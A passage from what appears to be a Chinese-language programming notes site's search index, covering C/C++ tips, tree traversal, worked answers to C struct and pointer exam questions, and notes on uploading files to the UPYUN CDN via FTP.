<p>\\u4e3a\\u4e86\\u89e3\\u51b3\\u8fd9\\u4e2a\\u95ee\\u9898\\uff0c\\u4ece\\u800c\\u8bc1\\u660e\\u6559\\u6750\\u4e0a\\u7684\\u6b63\\u786e\\u6027/\\u8bed\\u8a00\\u7684\\u7279\\u6027\\uff0c\\u9700\\u8981\\u5728\\u7f16\\u8bd1\\uff08\\u4e0d\\u662f\\u94fe\\u63a5\\uff09\\u7684\\u65f6\\u5019\\u52a0\\u5165\\u4ee5\\u4e0b\\u5f00\\u5173\\uff1a</p> <pre><code>-fno-elide-constructors\\n</code></pre>\"},{\"location\":\"C/#_2\",\"title\":\"[\\u6570\\u636e\\u7ed3\\u6784]\\u6811\\u7684\\u904d\\u5386\",\"text\":\"<p>\\u5141\\u8bb8\\u4e0d\\u786e\\u5b9a\\u4e2a\\u5143\\u7d20\\u7684\\u5b50\\u8282\\u70b9\\u4e2a\\u6570\\uff0c\\u8981\\u6c42\\u7ed9\\u51fa\\u6240\\u6709\\u4ece\\u6839\\u8282\\u70b9\\u5f00\\u59cb\\u5230\\u53f6\\u8282\\u70b9\\u7684\\u8def\\u5f84</p> <p>\\u6211\\u662f\\u8fd9\\u4e48\\u5199\\u7684\\u904d\\u5386\\u5faa\\u73af\\uff08\\u4f2a\\u4ee3\\u7801\\uff09\\uff0c\\u5176\\u4e2dp1\\u548cp2\\u662f\\u6307\\u5411\\u8282\\u70b9\\u7684\\u6307\\u9488\\uff1a</p> <pre><code>\\u8def\\u5f84=[\\u6839\\u8282\\u70b9]\\nwhile(\\u5faa\\u73af\\u6761\\u4ef6):\\n    while (p2=p1\\u7684\\u4e0b\\u4e00\\u4e2a\\u6ca1\\u6709\\u904d\\u5386\\u8fc7\\u7684\\u5b50\\u8282\\u70b9)\\u4e0d\\u4e3a\\u7a7a:\\n        \\u628ap2\\u52a0\\u5165\\u8def\\u5f84\\n        p1=p2\\nif p1\\u4e3a\\u53f6\\u8282\\u70b9:\\n        \\u5f97\\u5230\\u4e86\\u4e00\\u6761\\u4ece\\u6839\\u8282\\u70b9\\u5230\\u4e00\\u4e2a\\u53f6\\u8282\\u70b9\\u7684\\u8def\\u5f84\\n    \\u8def\\u5f84pop\\uff0c\\u6362\\u8a00\\u4e4b\\uff0c\\u5220\\u6389\\u6700\\u540e\\u52a0\\u5165\\u7684\\u8282\\u70b9\\n    p1=p1\\u7684\\u7236\\u8282\\u70b9\\uff08\\u5c31\\u662f\\u56de\\u6eaf\\uff09\\n</code></pre> <p>\\u5176\\u4e2d\\u5173\\u952e\\u7684p1\\u7684\\u4e0b\\u4e00\\u4e2a\\u6ca1\\u6709\\u904d\\u5386\\u8fc7\\u7684\\u5b50\\u8282\\u70b9\\u7684\\u5b9e\\u73b0\\u662f\\u8fd9\\u6837\\u5b50\\u7684\\uff1a</p> <pre><code>if \\u5f53\\u524d\\u5b69\\u5b50\\u7684\\u4e0b\\u6807&gt;=\\u5b69\\u5b50\\u603b\\u6570:\\n    return NULL\\nelse return \\u5b50\\u8282\\u70b9\\u6570\\u7ec4[\\u5f53\\u524d\\u4e0b\\u6807++]\\n</code></pre> <p>\\u5356\\u4e2a\\u5173\\u5b50\\u3002\\u3002\\u3002\\u8bf7\\u601d\\u8003\\u4e00\\u4e0b\\u5faa\\u73af\\u6761\\u4ef6\\u5e94\\u8be5\\u5199\\u5565\\uff1f</p>\"},{\"location\":\"C/#_3\",\"title\":\"\\u904d\\u5386\\u7684\\u5faa\\u73af\\u6761\\u4ef6\",\"text\":\"<p>\\u4e00\\u5f00\\u59cb\\u6211\\u5199\\u7684\\u662f\\uff1a\\u201c\\u6839\\u8282\\u70b9\\u8fd8\\u6709\\u672a\\u904d\\u5386\\u8fc7\\u7684\\u5b50\\u8282\\u70b9\\u201d\\uff0c\\u4f46\\u662f\\u8fd9\\u4e48\\u5199\\u5728\\u8fd9\\u91cc\\u5c31\\u51fa\\u4e86\\u95ee\\u9898\\uff0c\\u7531\\u4e8e\\u6807\\u8bb0\\u5df2\\u7ecf\\u904d\\u5386\\u7684\\u5b50\\u8282\\u70b9\\u53d1\\u751f\\u5728\\u771f\\u6b63\\u904d\\u5386\\u5b8c\\u5b50\\u8282\\u70b9\\u4e4b\\u524d\\uff08\\u6211\\u7528\\u7684return \\u6570\\u7ec4[\\u4e0b\\u6807++]\\uff09\\uff0c\\u5728\\u5faa\\u73af\\u6839\\u8282\\u70b9\\u7684\\u6700\\u540e\\u4e00\\u4e2a\\u5b50\\u8282\\u70b9\\u7684\\u65f6\\u5019\\u4f1a\\u63d0\\u524d\\u7ed3\\u675f\\u5faa\\u73af\\uff0c\\u5bfc\\u81f4\\u6ca1\\u80fd\\u904d\\u5386\\u6240\\u6709\\u8282\\u70b9\\uff01</p> <p>\\u6b63\\u786e\\u7684\\u5199\\u6cd5\\u662f\\uff1a\\u8def\\u5f84\\u7684\\u5143\\u7d20\\u4e2a\\u6570&gt;=1</p> <p>\\u8def\\u5f84\\u53ef\\u4ee5\\u7528vector\\u5b9e\\u73b0\\uff0c\\u5143\\u7d20\\u4e2a\\u6570\\u5c31\\u662fvector\\u7684size()\\uff0c\\u53ea\\u6709\\u904d\\u5386\\u5b8c\\u6210\\u4e86\\u6574\\u4e2a\\u6811\\u4e4b\\u540e\\uff0c\\u6839\\u8282\\u70b9\\u624d\\u4f1a\\u88abpop\\u51fa\\u6765\\uff0c\\u7ed3\\u675f\\u5faa\\u73af\\u3002</p>\"},{\"location\":\"C/#_4\",\"title\":\"\\u4f7f\\u7528\\u9762\\u5411\\u5bf9\\u8c61\\u7684\\u601d\\u60f3\",\"text\":\"<p>\\u8fd9\\u4e2a\\u9898\\u76ee\\u6211\\u4f7f\\u7528\\u4e86C++\\u6765\\u5199\\uff0c\\u679c\\u7136\\u6bd4C\\u597d\\u591a\\u4e86\\u3002\\u3002\\u3002\\u53ea\\u8981\\u60f3\\u597d\\u63a5\\u53e3\\u5c31\\u80fd\\u5f88\\u65b9\\u4fbf\\u5730\\u5b9e\\u73b0\\u9700\\u8981\\u7684\\u529f\\u80fd\\u5566\\uff08\\u4e0d\\u8fc7\\u8fd8\\u662fPython\\u5185\\u7f6e\\u7684list\\u597d\\u591a\\u4e86\\uff0cC++\\u7684vector\\u5404\\u79cdconst\\u7684\\u5751</p> <p>\\u8fd9\\u91cc\\u5206\\u4eab\\u4e00\\u4e0b\\u6211\\u8bbe\\u8ba1\\u7684\\u63a5\\u53e3\\uff1a</p> <pre><code>class Node{\\npublic:\\nNode();\\nvoid setChildNum(int num); //\\u4e3a\\u5b50\\u8282\\u70b9\\u7684\\u6307\\u9488\\u7684\\u6570\\u7ec4\\u5206\\u914d\\u7a7a\\u95f4\\nvoid addOneChild(Node* child);\\nvoid setData(int data);\\nint getData();\\nvoid setParent(Node* parent);\\nNode* getParent();\\nNode* getCurrentChild(); //\\u83b7\\u5f97\\u5f53\\u524d\\u8fd8\\u6ca1\\u8d70\\u8fc7\\u7684\\u5b50\\u8282\\u70b9\\uff0c\\u5e76\\u4e14\\u628a\\u8fd4\\u56de\\u7684\\u5b50\\u8282\\u70b9\\u6807\\u8bb0\\u4e3a\\u8d70\\u8fc7\\u4e86\\nbool hasChildToGo(); //\\u8fd9\\u4e2a\\u8282\\u70b9\\u662f\\u4e0d\\u662f\\u6240\\u6709\\u7684\\u5b50\\u8282\\u70b9\\u90fd\\u5b8c\\u6210\\u4e86\\nbool isLeafNode(); //\\u8fd9\\u4e2a\\u8282\\u70b9\\u662f\\u4e0d\\u662f\\u53f6\\u8282\\u70b9\\nprivate:\\n//...\\u7701\\u7565\\u54af...\\n};\\nclass Nodes{ //\\u5b58\\u50a8\\u8def\\u5f84\\u7684Nodes\\npublic:\\nvoid append(Node* x); //\\u628a\\u8282\\u70b9\\u52a0\\u5165\\u8def\\u5f84\\nvoid pop(); //\\u5220\\u6389\\u6700\\u540e\\u52a0\\u5165\\u7684\\u90a3\\u4e2a\\u8282\\u70b9\\nint getSumData(); //\\u8def\\u5f84\\u4e0a\\u6240\\u6709\\u8282\\u70b9\\u7684data\\u7684\\u548c\\nint length(); //\\u8def\\u5f84\\u5f53\\u524d\\u7684\\u957f\\u5ea6\\nfriend bool cmp(const Nodes&amp; a,const Nodes&amp;b); //\\u7528\\u4e8e\\u5bf9\\u8def\\u5f84\\u8fdb\\u884c\\u6392\\u5e8f\\nfriend ostream&amp; operator&lt;&lt;(ostream&amp; out,Nodes&amp; x); private:\\nvector&lt;Node*&gt; data;\\n};\\n</code></pre>\"},{\"location\":\"C/#constvectorconst_iterator\",\"title\":\"\\u5bf9\\u4e00\\u4e2aconst\\u7684vector\\u4f7f\\u7528\\u8fed\\u4ee3\\u5668\\u8981\\u7528const_iterator\",\"text\":\"<p>\\u6709\\u65f6\\u5019\\u51fd\\u6570\\u53c2\\u6570\\u5c31\\u89c4\\u5b9a\\u4e86\\u5fc5\\u987b\\u662fconst\\u7684\\uff0c\\u5982sort\\u7684\\u6bd4\\u8f83\\u51fd\\u6570\\uff0c\\u800c\\u6bd4\\u8f83\\u7684\\u5bf9\\u8c61\\u53c8\\u662fvector</p> <p>\\u65b9\\u6cd5\\u5c31\\u662f\\u7528<code>vector&lt;\\u4f60\\u7684\\u7c7b\\u578b&gt;::const_iterator</code></p>\"},{\"location\":\"C/#_5\",\"title\":\"\\u5c0f\\u5fc3\\u672a\\u521d\\u59cb\\u5316\\u7684\\u53d8\\u91cf\",\"text\":\"<p>\\u5199\\u4ee3\\u7801\\u7684\\u65f6\\u5019\\u6700\\u597d\\u58f0\\u660e\\u7684\\u65f6\\u5019\\u5c31\\u7acb\\u523b\\u521d\\u59cb\\u5316\\uff0c\\u672a\\u521d\\u59cb\\u5316\\u7684\\u53d8\\u91cf\\u662f\\u672a\\u5b9a\\u4e49\\u884c\\u4e3a\\uff0c\\u53ef\\u80fd\\u51fa\\u73b0\\u52a0\\u4e86\\u4e2aprintf\\u5c31\\u597d\\u4e86\\uff0c\\u53bb\\u6389printf\\u5c31\\u70b8\\u4e86\\u7684\\u60c5\\u51b5\\u3002</p> <p>\\u4f60\\u53ef\\u4ee5\\u5728Linux\\u4e0a\\u4f7f\\u7528<code>gcc -fsanitize=undefined</code>\\u7f16\\u8bd1\\uff0c\\u8ba9Undefined Sanitizer\\u4e3a\\u4f60\\u627e\\u51fa\\u9519\\u8bef\\uff1b\\u987a\\u5e26\\u4e00\\u63d0\\uff0cASAN\\u4e5f\\u5f88\\u6709\\u7528\\uff0c\\u53c2\\u89c1</p>\"},{\"location\":\"C/#_6\",\"title\":\"\\u83b7\\u53d6\\u6587\\u4ef6\\u5927\\u5c0f\",\"text\":\"<p>Python\\u91cc\\u5f88\\u7b80\\u5355 \\u4f60\\u53ef\\u4ee5os.path.getsize(filename) \\u8fd9\\u4e2a\\u672c\\u8d28\\u4e0a\\u8c03\\u7528\\u7684\\u662fos.stat\\uff1b\\u4e0b\\u9762\\u7684\\u65b9\\u6cd5\\u662f\\u6253\\u5f00\\u6587\\u4ef6\\uff0c\\u7528fseek\\u8df3\\u8f6c\\u5230\\u6587\\u4ef6\\u7ed3\\u675f</p> <p>Learned from: http://blog.csdn.net/chenglibin1988/article/details/8750480</p> <pre><code>long int get_file_size(char* filename){\\n    /*\\n     * \\u4f7f\\u7528fseek\\u548cftell\\u83b7\\u53d6\\u6587\\u4ef6\\u5927\\u5c0f\\uff0c\\u5931\\u8d25\\u65f6\\u8fd4\\u56de-1 \\n     */\\n    int filesize;\\n    FILE* fp = fopen(filename,\\\"rb\\\");\\n    if( NULL == fp ) return -1;\\n    fseek(fp,0,SEEK_END);\\n    filesize = ftell(fp);\\n    fclose(fp);\\n    return filesize;\\n}\\n</code></pre>\"},{\"location\":\"C/#c_1\",\"title\":\"C\\u7a0b\\u4e60\\u9898\\u89e3\\u7b54\",\"text\":\"<p>\\u5b66\\u4e60\\u4e00\\u4e0b\\u5404\\u79cd\\u5751\\u7239\\u7684\\u9898\\u76ee\\u4e5f\\u662f\\u5f88\\u4e0d\\u9519\\u7684\\u561b\\uff08\\u5176\\u5b9e\\u6211\\u5c31\\u662f\\u4e3a\\u4e86\\u628a\\u6211\\u7684\\u89e3\\u6790\\u53d1\\u4e0a\\u6765\\u3002\\u3002\\u3002</p>\"},{\"location\":\"C/#1\",\"title\":\"1.\\u7ed3\\u6784\\u6307\\u9488\",\"text\":\"\"},{\"location\":\"C/#_7\",\"title\":\"\\u9898\\u76ee\",\"text\":\"<pre><code>\\u5bf9\\u4e8e\\u4ee5\\u4e0b\\u7ed3\\u6784\\u5b9a\\u4e49\\uff0cp-&gt;str++\\u4e2d\\u7684++\\u52a0\\u5728____\\u3002\\nstruct {int len; char *str}*p;\\nA.\\u6307\\u9488str\\u4e0a     B.\\u6307\\u9488p\\u4e0a    C.str\\u6307\\u5411\\u7684\\u5185\\u5bb9\\u4e0a   D.\\u8bed\\u6cd5\\u9519\\u8bef\\n</code></pre>\"},{\"location\":\"C/#_8\",\"title\":\"\\u7b54\\u6848\",\"text\":\"<p>D</p>\"},{\"location\":\"C/#_9\",\"title\":\"\\u4e00\\u53e5\\u8bdd\\u89e3\\u91ca\",\"text\":\"<p>\\u4f60\\u518d\\u4ed4\\u7ec6\\u770b\\u770b\\uff1f\\u662f\\u4e0d\\u662f\\u5c11\\u4e86\\u4e2a\\u5206\\u53f7\\uff1f</p>\"},{\"location\":\"C/#_10\",\"title\":\"\\u8be6\\u7ec6\\u89e3\\u91ca\",\"text\":\"<p>\\u8fd9\\u4e2a\\u9898\\u76ee\\u8fd9\\u4e48\\u5199\\u7f16\\u8bd1\\u5b58\\u5728\\u8bed\\u6cd5\\u95ee\\u9898\\u7684\\uff0c\\u800c\\u4e14\\u8fd0\\u884c\\u4e5f\\u4f1a\\u70b8</p> <p>\\u4f60\\u8bd5\\u8bd5\\u590d\\u5236\\u5230Dev C++\\u7f16\\u8bd1\\u770b\\u770b\\uff1f</p> <pre><code>[Error] expected ';' at end of member declaration\\n</code></pre> <p>\\u8fd9\\u4e2a\\u9519\\u8bef\\u5f88\\u663e\\u7136\\u7684\\u561b\\uff0c\\u7f3a\\u5c11\\u4e86\\u5206\\u53f7\\uff0c\\u6b63\\u786e\\u5199\\u6cd5\\uff1a</p> <pre><code>struct {int len; char *str;} *p;\\n</code></pre>\"},{\"location\":\"C/#_11\",\"title\":\"\\u8fd9\\u5c31\\u591f\\u4e86\\u5417\\uff1f\",\"text\":\"<p>p\\u662f\\u4e00\\u4e2a\\u6307\\u9488\\uff0c\\u5bf9\\u6307\\u9488\\u4f7f\\u7528-&gt;\\u8fd0\\u7b97\\u7b26\\u4e4b\\u524d\\u5fc5\\u987b\\u8981\\u7ed9\\u6307\\u9488\\u4e00\\u4e2a\\u7a7a\\u95f4(\\u6b63\\u786e\\u7684\\u503c)\\uff0c\\u5426\\u5219\\u5c31\\u4f1a\\u5bfc\\u81f4*null\\u800c\\u6bb5\\u9519\\u8bef\\u70b8\\u6389</p> <p>\\u53e6\\u5916 \\u8fd9\\u4e2astruct\\u6ca1\\u6709\\u540d\\u5b57\\uff0c\\u4e5f\\u5c31\\u610f\\u5473\\u7740\\u65e0\\u6cd5\\u7ed9\\u4ed6\\u8d4b\\u503c\\uff0c\\u4e0d\\u80fd\\u88ab\\u8d4b\\u503c\\u7684\\u6307\\u9488\\u6709\\u4ec0\\u4e48\\u7528\\u5462\\uff1f</p> <p>\\u6b63\\u786e\\u7684\\u5199\\u6cd5\\u5982\\u4e0b\\uff1a</p> <pre><code>#include &lt;stdio.h&gt;\\n#include &lt;stdlib.h&gt;\\n#include &lt;string.h&gt;\\nint main(){\\nchar string[666]=\\\"abcd\\\"; //\\u51c6\\u5907\\u4e00\\u4e2a\\u5b57\\u7b26\\u4e32\\nstruct name {int len; char *str;} s;//\\u9996\\u5148\\u8981\\u7ed9struct\\u53d6\\u4e00\\u4e2a\\u540d\\u5b57name\\uff0c\\u987a\\u5e26\\u7528\\u8fd9\\u4e2a\\u540d\\u5b57\\u521b\\u5efa\\u4e00\\u4e2a\\u5b9e\\u4f8bs\\ns.str = string; //\\u5bf9\\u8fd9\\u4e2a\\u5b9e\\u4f8b\\u7684str\\u8d4b\\u503c\\u4e3astring\\u7684\\u5730\\u5740\\nstruct name *p = &amp;s; //\\u7136\\u540e\\u662f\\u7528struct name\\u6765\\u521b\\u5efa\\u4e00\\u4e2a\\u6307\\u5411\\u7ed3\\u6784\\u7684\\u6307\\u9488p\\np-&gt;str++;//\\u76f8\\u5f53\\u4e8es\\u7684str++\\u4e86\\uff0cstr\\u539f\\u6765\\u6307\\u5411\\\"abcd\\\"\\u5b57\\u7b26\\u4e32\\u7684'a'\\uff0c\\u73b0\\u5728\\u6307\\u5411'b'\\nputs(p-&gt;str);//\\u8f93\\u51fabcd\\n}\\n</code></pre>\"},{\"location\":\"C/#_12\",\"title\":\"\\u56de\\u987e\\u4e00\\u4e0b\",\"text\":\"<ol> <li> <p>struct\\u5fc5\\u987b\\u8981\\u6709\\u4e00\\u4e2a\\u540d\\u5b57</p> </li> <li> <p>struct\\u5927\\u62ec\\u53f7\\u4e2d\\u7684\\u6bcf\\u4e00\\u9879\\u90fd\\u5fc5\\u987b\\u4ee5\\u5206\\u53f7\\u7ed3\\u5c3e</p> </li> <li> <p>\\u4f7f\\u7528\\u6307\\u9488\\u53d6\\u503c \\u5982<code>*p</code> , <code>p-&gt;something</code>\\u4e4b\\u524d\\u6307\\u9488\\u7684\\u503c\\u5fc5\\u987b\\u8bbe\\u7f6e\\u597d</p> </li> <li> <p>\\u9047\\u5230\\u4e0d\\u4f1a\\u7684\\u9898\\u76ee\\uff0c\\u4e3a\\u5565\\u4e0d\\u81ea\\u5df1\\u95ee\\u95ee\\u7f16\\u8bd1\\u5668\\u5462\\uff1f</p> </li> </ol>\"},{\"location\":\"C/#2\",\"title\":\"2.\\u7ed3\\u6784\\u6570\\u7ec4\",\"text\":\"\"},{\"location\":\"C/#_13\",\"title\":\"\\u9898\\u76ee\",\"text\":\"<pre><code>\\u5bf9\\u4e8e\\u4ee5\\u4e0b\\u7684\\u53d8\\u91cf\\u5b9a\\u4e49\\uff0c\\u8868\\u8fbe\\u5f0f____\\u662f\\u6b63\\u786e\\u7684\\u3002\\nstruct node {\\nchar s[10];\\nint k;\\n} p[4];\\nA. p-&gt;k=2\\nB. p[0].s=\\\"abc\\\";\\nC. p[0]-&gt;k=2;\\nD. p-&gt;s='a';\\n</code></pre>\"},{\"location\":\"C/#_14\",\"title\":\"\\u7b54\\u6848\",\"text\":\"<p>A</p>\"},{\"location\":\"C/#_15\",\"title\":\"\\u89e3\\u6790\",\"text\":\"<p><code>p[0].num</code> \\u4e0e <code>(*(p+0)).num</code> \\u7b49\\u4ef7, \\u6240\\u4ee5 <code>p[0].num</code> \\u4e0e <code>(p+0)-&gt;num</code> \\u7b49\\u4ef7</p> <p>\\u7f16\\u8bd1\\u4e00\\u4e0b\\u786e\\u5b9eA\\u662f\\u53ef\\u4ee5\\u7684</p> <p>B\\u9009\\u9879\\u9519\\u5728\\u7ed3\\u6784\\u4f53\\u91cc\\u9762\\u7684s\\u662f\\u4e00\\u4e2a\\u6709\\u5185\\u5b58\\u7a7a\\u95f4\\u7684char\\u6570\\u7ec4\\uff0c\\u4e0d\\u80fd\\u628a\\u6709\\u5185\\u5b58\\u7a7a\\u95f4\\u7684\\u6570\\u7ec4\\u540d\\u79f0\\u653e\\u5230\\u8d4b\\u503c\\u7684\\u7b49\\u53f7\\u5de6\\u8fb9 (\\u7f16\\u8bd1\\u5668\\u628a\\u6570\\u7ec4\\u540d\\u79f0\\u5f53\\u6210\\u5e38\\u91cf\\uff0c\\u7f16\\u8bd1\\u5668\\u8fd9\\u4e48\\u8bbe\\u8ba1\\u7684\\u539f\\u56e0\\u4e5f\\u8bb8\\u662f\\uff1a\\u4e0d\\u7136\\u8fd9\\u4e2a\\u5185\\u5b58\\u7a7a\\u95f4\\u4e0d\\u5c31\\u5f04\\u4e22\\u4e86\\u561b)</p> <p>\\u5b57\\u7b26\\u4e32\\u6b63\\u786e\\u7684\\u201d\\u8d4b\\u503c\\u201d\\u64cd\\u4f5c\\u662f\\uff1a </p> <pre><code>strcpy(p[0].s,\\\"abc\\\");\\n</code></pre> <p>C\\u9009\\u9879 p[0]\\u662f\\u7ed3\\u6784\\uff0c\\u800c\\u4e0d\\u662f\\u6307\\u9488\\uff0c\\u76f4\\u63a5\\u5199<code>p[0].k=2</code></p> <p>D\\u9009\\u9879 \\u8fd8\\u662f\\u76f8\\u540c\\u7684\\u9053\\u7406 \\u4e0d\\u80fd\\u628a\\u6709\\u5185\\u5b58\\u7a7a\\u95f4\\u7684\\u6570\\u7ec4\\u540d\\u79f0\\u653e\\u5230\\u8d4b\\u503c\\u7684\\u7b49\\u53f7\\u5de6\\u8fb9</p> <p>\\u6b63\\u786e\\u7684\\u5199\\u6cd5 <code>p-&gt;s[0]='a'</code>, \\u4e5f\\u53ef\\u4ee5\\u5199 <code>p[0].s[0]='a'</code></p>\"},{\"location\":\"C/#_16\",\"title\":\"\\u6307\\u9488\\uff0c\\u6570\\u7ec4\\u5404\\u79cd\\u73a9\\u6cd5\",\"text\":\"<p>\\u5982\\u679c\\u8981\\u5199<code>p[1].s[2]='a'</code>, \\u7b49\\u4ef7\\u7684\\u5199\\u6cd5\\u6709\\uff1a</p> <pre><code>(p+1)-&gt;s[2]='a';\\n*((p+1)-&gt;s + 2)='a';\\n*((char*)p+1*sizeof(struct node)+2)='a';\\n</code></pre> <p>\\u6b64\\u4ee3\\u7801\\u4f9b\\u4f60\\u6d4b\\u8bd5\\uff1a</p> <pre><code>#include &lt;stdio.h&gt;\\nint main(){\\nstruct node{\\nchar s[10];\\nint k;\\n} p[4];\\np[1].s[2]='a';\\nprintf(\\\"%c\\\\n\\\",p[1].s[2]);\\n(p+1)-&gt;s[2]='b';\\nprintf(\\\"%c\\\\n\\\",p[1].s[2]);\\n*((p+1)-&gt;s + 2)='c';\\nprintf(\\\"%c\\\\n\\\",p[1].s[2]);\\n*((char*)p+1*sizeof(struct node)+2)='d';\\nprintf(\\\"%c\\\",p[1].s[2]);\\nreturn 0;\\n}\\n</code></pre>\"},{\"location\":\"C/#_17\",\"title\":\"\\u6570\\u7ec4\\u7684\\u6570\\u7ec4\",\"text\":\"<p>\\u9898\\u76ee\\uff1a</p> <pre><code> \\u4ee5\\u4e0b\\u7a0b\\u5e8f\\u7684\\u8f93\\u51fa\\u7ed3\\u679c\\u662f_________________\\u3002\\n#include &lt;stdio.h&gt;\\n#include &lt;string.h&gt;\\ntypedef char (*AP)[5];\\nAP defy(char *p)\\n{\\nint i;\\nfor(i=0; i&lt;3; i++)\\np[strlen(p)] = 'A';\\nreturn (AP)p + 1;\\n}\\nvoid main()\\n{\\nchar a[]=\\\"FROG\\\\0SEAL\\\\0LION\\\\0LAMB\\\";\\nputs( defy(a)[1]+2 );\\n}\\n</code></pre> <p>\\u89e3\\u7b54\\uff1a</p> <p>\\u641e\\u6e05\\u695a\\u6307\\u9488\\u7684\\u7c7b\\u578b\\u8fd9\\u4e2a\\u9898\\u76ee\\u5c31\\u5f88\\u7b80\\u5355\\u4e86\\uff0c\\u53e6\\u5916\\u8bb0\\u4f4f\\u8fd9\\u4e2a\\u516c\\u5f0f\\uff1a</p> <pre><code>x[i] = *(x+i)\\n</code></pre> <p>p[strlen(p)] = \\u2018A\\u2019; \\u5c31\\u662f\\u628a\\\\0\\u7684\\u5730\\u65b9\\u6539\\u6210\\u4e86\\u5b57\\u7b26A</p> <p>\\u6240\\u4ee5\\u6211\\u4eec\\u7684a\\u662f\\u8fd9\\u6837\\u5b50\\u7684\\uff1a</p> <p>\\u4ece\\u4e00\\u7ef4\\u6570\\u7ec4\\u6765\\u770ba\\u662f FROGASEALALIONALAMB</p> <p>\\u4ece5\\u5b57\\u8282char\\u7684\\u6570\\u7ec4\\u7684\\u6570\\u7ec4\\u6765\\u770b\\u662f </p> <pre><code>    \\\"FROGA\\\", //\\u867d\\u7136\\u8fd9\\u91cc\\u5199\\u7684\\u662f\\u5b57\\u7b26\\u4e32\\uff0c\\u4f46\\u672b\\u5c3e\\u6ca1\\u6709\\\\0\\n    \\\"SEALA\\\",\\n    \\\"LIONA\\\",\\n    \\\"LAMB\\\\0\\\"\\n</code></pre> <p>defy(a)[1]\\u5c31\\u7b49\\u4ef7\\u4e8e<code>*(defy(a) +1)</code>\\uff0c\\u5c31\\u662f<code>*( ((AP)a)+1 +1)</code>\\uff0c\\u5c31\\u662f((AP)a)[2]</p> <p>AP\\u8fd9\\u4e2a\\u7c7b\\u578b\\u662f\\u6307\\u9488\\uff0c\\u6307\\u5411\\u7684\\u5143\\u7d20\\u662f 5\\u5b57\\u8282\\u5927\\u5c0f\\u7684\\u6570\\u7ec4\\uff0c</p> <p>\\u6240\\u4ee5((AP)a)[2]\\u7684\\u7c7b\\u578b\\u662f<code>char*</code>\\uff0c\\u6307\\u5411\\u7684\\u662f\\u201dLIONA\\u201d\\u8fd9\\u4e2a\\u5143\\u7d20</p> <p>\\u4f46\\u662f\\u5f53\\u6211\\u4eec\\u628a\\u8fd9\\u4e2a\\u5143\\u7d20\\u5f53\\u6210<code>char*</code>\\u7528puts\\u8f93\\u51fa\\u7684\\u65f6\\u5019\\uff0c\\u7531\\u4e8e\\u672b\\u5c3e\\u6ca1\\u6709<code>\\\\0</code>\\uff0c\\u6240\\u4ee5\\u8981\\u7ee7\\u7eed\\u8f93\\u51fa\\uff0c\\u5c31\\u662f\\u201dLIONALAMB\\u201d</p> <p>\\u518d+2\\u5c31\\u662f\\u8981\\u8df3\\u8fc7\\u4e24\\u4e2a\\u5b57\\u8282\\uff0c\\u5f97\\u5230\\u7b54\\u6848\\u201dONALAMB\\u201d</p> <p>\\u4e3e\\u4e00\\u53cd\\u4e09\\uff1a</p> <ol> <li>puts(((AP)a)[0])\\u8f93\\u51fa\\u5565\\uff1f\\u5047\\u8bbe\\u6ca1\\u6709\\u8c03\\u7528defy(a)</li> <li>puts(((AP)a)[0])\\u8f93\\u51fa\\u5565\\uff1f\\u5047\\u8bbe\\u5df2\\u7ecf\\u505a\\u4e86defy(a)</li> <li>puts(((AP)a)[0]+3)\\u8f93\\u51fa\\u5565\\uff1f\\u5047\\u8bbe\\u5df2\\u7ecf\\u505a\\u4e86defy(a)</li> <li>defy(a)[2][1]+1\\u662f\\u4ec0\\u4e48\\u7c7b\\u578b\\uff1f\\u503c\\u662f\\u591a\\u5c11\\uff1f</li> <li>puts(&amp;defy(a)[2][1])\\u8f93\\u51fa\\u5565\\uff1f</li> <li>defy(a)\\u4e4b\\u540e\\u518dputs(&amp;defy(a)[2][1])\\u8f93\\u51fa\\u5565\\uff1f</li> </ol> <p>\\u7b54\\u6848\\uff1a</p> <ol> <li>FROG</li> <li>FROGASEALALIONALAMB</li> <li>GASEALALIONALAMB</li> <li>char\\u7c7b\\u578b \\u2018B\\u2019 \\u8fd9\\u4e2a\\u662fchar\\u7684\\u2019A\\u2019\\u518d\\u52a0\\u4e00</li> <li>AMB</li> <li>\\u53d1\\u751f\\u4e86\\u6570\\u7ec4\\u8d8a\\u754c\\u8bfb\\u5199\\uff0c\\u8fd9\\u662fundefined behaviour</li> </ol>\"},{\"location\":\"CDN/\",\"title\":\"CDN\",\"text\":\"\"},{\"location\":\"CDN/#upyun\",\"title\":\"UPYUN\",\"text\":\"\"},{\"location\":\"CDN/#_1\",\"title\":\"\\u4e0a\\u4f20\\u6587\\u4ef6\\u7684\\u65b9\\u6cd5\",\"text\":\"\"},{\"location\":\"CDN/#ftp\",\"title\":\"FTP\",\"text\":\"<p>\\u4eba\\u5bb6\\u652f\\u6301\\u7528ftp\\u4f20\\u8f93\\u6587\\u4ef6\\uff0c\\u800c\\u4e14\\u7528ftp\\u4f3c\\u4e4e\\u4e0d\\u5bf9\\u6d41\\u91cf\\u8ba1\\u8d39</p> <p>ftp://v0.ftp.upyun.com </p> <p>\\u7528\\u6237\\u540d\\u662f\\u201d\\u64cd\\u4f5c\\u5458\\u540d/\\u670d\\u52a1\\u540d\\u201d\\uff08\\u5176\\u4e2d/\\u5b57\\u7b26\\u662f\\u7528\\u6237\\u540d\\u7684\\u4e00\\u90e8\\u5206\\uff09,\\u5bc6\\u7801\\u4e3a\\u201d\\u64cd\\u4f5c\\u5458\\u5bc6\\u7801\\u201d</p> <p>\\u6709\\u4e9b\\u65f6\\u5019\\u4f60\\u9700\\u8981\\u5bf9\\u5176\\u4e2d\\u7684/\\u8fdb\\u884curlencode\\uff0c\\u9700\\u8981\\u7528<code>%2F</code> \\uff08\\u4f60\\u53ef\\u4ee5\\u4f7f\\u7528Python\\u7684<code>quote(\\\"/\\\", \\\"\\\")</code>\\u6765\\u67e5\\u8be2\\uff09</p>\"},{\"location\":\"CDN/#curlftpfs\",\"title\":\"curlftpfs\",\"text\":\"<p>\\u57fa\\u4e8e\\u4e0a\\u8ff0\\u7684ftp\\uff0c\\u5728\\u8fd9\\u79cd\\u60c5\\u5883\\u4e0b\\u53ef\\u9760\\u6027\\u4e0d\\u9ad8\\uff0c\\u4e0d\\u5efa\\u8bae\\u4f7f\\u7528</p> <p>http://curlftpfs.sourceforge.net/</p> <p>\\u6ce8\\u610f\\u547d\\u4ee4\\u4e2d\\u7684 ftp://\\u7528\\u6237\\u540d:\\u5bc6\\u7801@v0.ftp.upyun.com 